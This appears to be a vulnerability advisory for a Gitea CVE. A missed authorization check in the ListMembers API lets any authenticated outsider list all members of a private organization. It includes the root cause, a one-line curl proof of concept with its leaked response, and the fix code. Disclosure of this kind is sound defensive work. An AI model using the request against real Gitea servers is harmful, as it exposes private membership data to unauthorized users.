🛡️ CVE-2026-58427 — gitea.dev

Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145

Summary

PR #38145 fixed ListPublicMembers and IsPublicMember but missed

ListMembers. Any authenticated user can enumerate ALL members

(not just public ones) of a private organization.

Affected Versions

<= v1.26.4 (latest) and main branch

Root Cause

routers/api/v1/org/member.go — ListMembers():

// Missing check:

if !organization.HasOrgOrUserVisible(ctx,

ctx.Org.Organization.AsUser(), ctx.Doer) {

ctx.APIErrorNotFound()

return

}

Proof of Concept

# Setup: privateorg (private), alice = member, bob = outsider

# Bob lists ALL members of private org

curl -s "http://gitea/api/v1/orgs/privateorg/members" \

-H "Authorization: token BOB_TOKEN"

# Result: HTTP 200

[{"login":"alice","email":"[email protected]",...}]

# Expected: HTTP 404

Note

This is an incomplete fix variant of PR #38145.

That PR fixed public_members endpoints only.

ListMembers (/orgs/{org}/members) remains unpatched.

Fix

Add to ListMembers():

if !organization.HasOrgOrUserVisible(ctx,

ctx.Org.Organization.AsUser(), ctx.Doer) {

ctx.APIErrorNotFound()

return

}